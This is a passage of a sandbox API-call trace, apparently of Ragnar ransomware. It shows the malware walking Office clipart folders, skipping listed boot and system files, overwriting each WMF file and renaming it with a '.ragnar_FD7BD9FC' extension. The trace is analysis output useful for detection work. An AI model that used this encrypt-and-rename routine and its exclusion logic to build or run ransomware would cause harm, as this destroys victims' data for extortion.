lpString2=".sys") returned 1 [0086.237] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.237] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.237] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.237] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.237] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf")) returned 0x20 [0086.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.238] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4198) returned 1 [0086.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x105d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.238] GetProcessHeap () returned 0x580000 [0086.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.238] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.239] VirtualAlloc (lpAddress=0x0, dwSize=0x1066, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.240] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1066, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1066, lpOverlapped=0x0) returned 1 [0086.242] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.242] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1066, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.242] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1066, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1066, lpOverlapped=0x0) returned 1 [0086.242] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1066, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.242] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.242] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1066, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.242] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.242] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.242] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.242] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.243] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.243] GetProcessHeap () returned 0x580000 [0086.243] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.243] CloseHandle (hObject=0xf4) returned 1 [0086.243] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" [0086.243] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.ragnar_FD7BD9FC" [0086.243] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.243] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1 [0086.243] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.243] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0232171.WMF" | out: lpString1="J0232171.WMF") returned="J0232171.WMF" [0086.243] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned=".WMF" [0086.243] lstrcmpiW (lpString1="J0232171.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.243] lstrcmpiW (lpString1="J0232171.WMF", lpString2="autorun.inf") returned 1 [0086.243] lstrcmpiW (lpString1="J0232171.WMF", lpString2="boot.ini") returned 1 [0086.243] lstrcmpiW (lpString1="J0232171.WMF", lpString2="bootfont.bin") returned 1 [0086.244] lstrcmpiW (lpString1="J0232171.WMF", lpString2="bootsect.bak") returned 1 [0086.244] lstrcmpiW (lpString1="J0232171.WMF", lpString2="bootmgr") returned 1 [0086.244] lstrcmpiW (lpString1="J0232171.WMF", lpString2="bootmgr.efi") returned 1 [0086.244] lstrcmpiW (lpString1="J0232171.WMF", lpString2="bootmgfw.efi") returned 1 [0086.244] lstrcmpiW (lpString1="J0232171.WMF", lpString2="desktop.ini") returned 1 [0086.244] lstrcmpiW (lpString1="J0232171.WMF", lpString2="iconcache.db") returned 1 [0086.244] lstrcmpiW (lpString1="J0232171.WMF", lpString2="ntldr") returned -1 [0086.244] lstrcmpiW (lpString1="J0232171.WMF", lpString2="ntuser.dat") returned -1 [0086.244] lstrcmpiW (lpString1="J0232171.WMF", lpString2="ntuser.dat.log") returned -1 [0086.244] lstrcmpiW (lpString1="J0232171.WMF", lpString2="ntuser.ini") returned -1 [0086.244] lstrcmpiW (lpString1="J0232171.WMF", lpString2="thumbs.db") returned -1 [0086.244] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.244] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.244] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.244] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.244] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.244] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.244] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf")) returned 0x20 [0086.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.244] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13098) returned 1 [0086.244] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3321, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.244] GetProcessHeap () returned 0x580000 [0086.245] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.245] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.246] VirtualAlloc (lpAddress=0x0, dwSize=0x332a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.247] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.247] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.247] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x332a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x332a, lpOverlapped=0x0) returned 1 [0086.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.248] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x332a, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.248] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x332a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x332a, lpOverlapped=0x0) returned 1 [0086.248] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x332a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.248] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x332a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.248] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.248] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.248] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.249] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.249] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.249] GetProcessHeap () returned 0x580000 [0086.249] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.249] CloseHandle (hObject=0xf4) returned 1 [0086.249] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" [0086.249] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.ragnar_FD7BD9FC" [0086.249] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1 [0086.249] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.249] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0232393.WMF" | out: lpString1="J0232393.WMF") returned="J0232393.WMF" [0086.250] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned=".WMF" [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="autorun.inf") returned 1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="boot.ini") returned 1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="bootfont.bin") returned 1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="bootsect.bak") returned 1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="bootmgr") returned 1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="bootmgr.efi") returned 1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="bootmgfw.efi") returned 1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="desktop.ini") returned 1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="iconcache.db") returned 1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="ntldr") returned -1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="ntuser.dat") returned -1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="ntuser.dat.log") returned -1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="ntuser.ini") returned -1 [0086.250] lstrcmpiW (lpString1="J0232393.WMF", lpString2="thumbs.db") returned -1 [0086.250] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.250] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.250] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.250] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.250] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.250] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.250] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf")) returned 0x20 [0086.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.251] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27586) returned 1 [0086.251] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6bb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.251] GetProcessHeap () returned 0x580000 [0086.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.251] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.252] VirtualAlloc (lpAddress=0x0, dwSize=0x6bc2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.252] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6bc2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6bc2, lpOverlapped=0x0) returned 1 [0086.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.254] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6bc2, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.254] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6bc2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6bc2, lpOverlapped=0x0) returned 1 [0086.254] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6bc2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.254] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6bc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.254] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.254] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.255] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.255] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.255] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.255] GetProcessHeap () returned 0x580000 [0086.255] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.255] CloseHandle (hObject=0xf4) returned 1 [0086.255] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" [0086.255] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.ragnar_FD7BD9FC" [0086.255] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.256] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1 [0086.256] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.256] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0232395.WMF" | out: lpString1="J0232395.WMF") returned="J0232395.WMF" [0086.256] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF") returned=".WMF" [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="autorun.inf") returned 1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="boot.ini") returned 1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="bootfont.bin") returned 1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="bootsect.bak") returned 1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="bootmgr") returned 1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="bootmgr.efi") returned 1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="bootmgfw.efi") returned 1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="desktop.ini") returned 1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="iconcache.db") returned 1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="ntldr") returned -1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="ntuser.dat") returned -1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="ntuser.dat.log") returned -1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="ntuser.ini") returned -1 [0086.256] lstrcmpiW (lpString1="J0232395.WMF", lpString2="thumbs.db") returned -1 [0086.256] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.256] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.256] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.256] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.256] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.256] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.256] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf")) returned 0x20 [0086.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.257] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: 